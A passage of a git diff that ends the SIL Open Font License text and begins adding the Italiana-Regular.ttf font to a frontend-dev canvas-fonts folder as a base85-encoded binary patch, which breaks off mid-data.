+ +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/Italiana-Regular.ttf b/skills/frontend-dev/canvas-fonts/Italiana-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..a9b828c0f308eaf07a172cbf2aae823e0f762210 GIT binary patch literal 27184 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 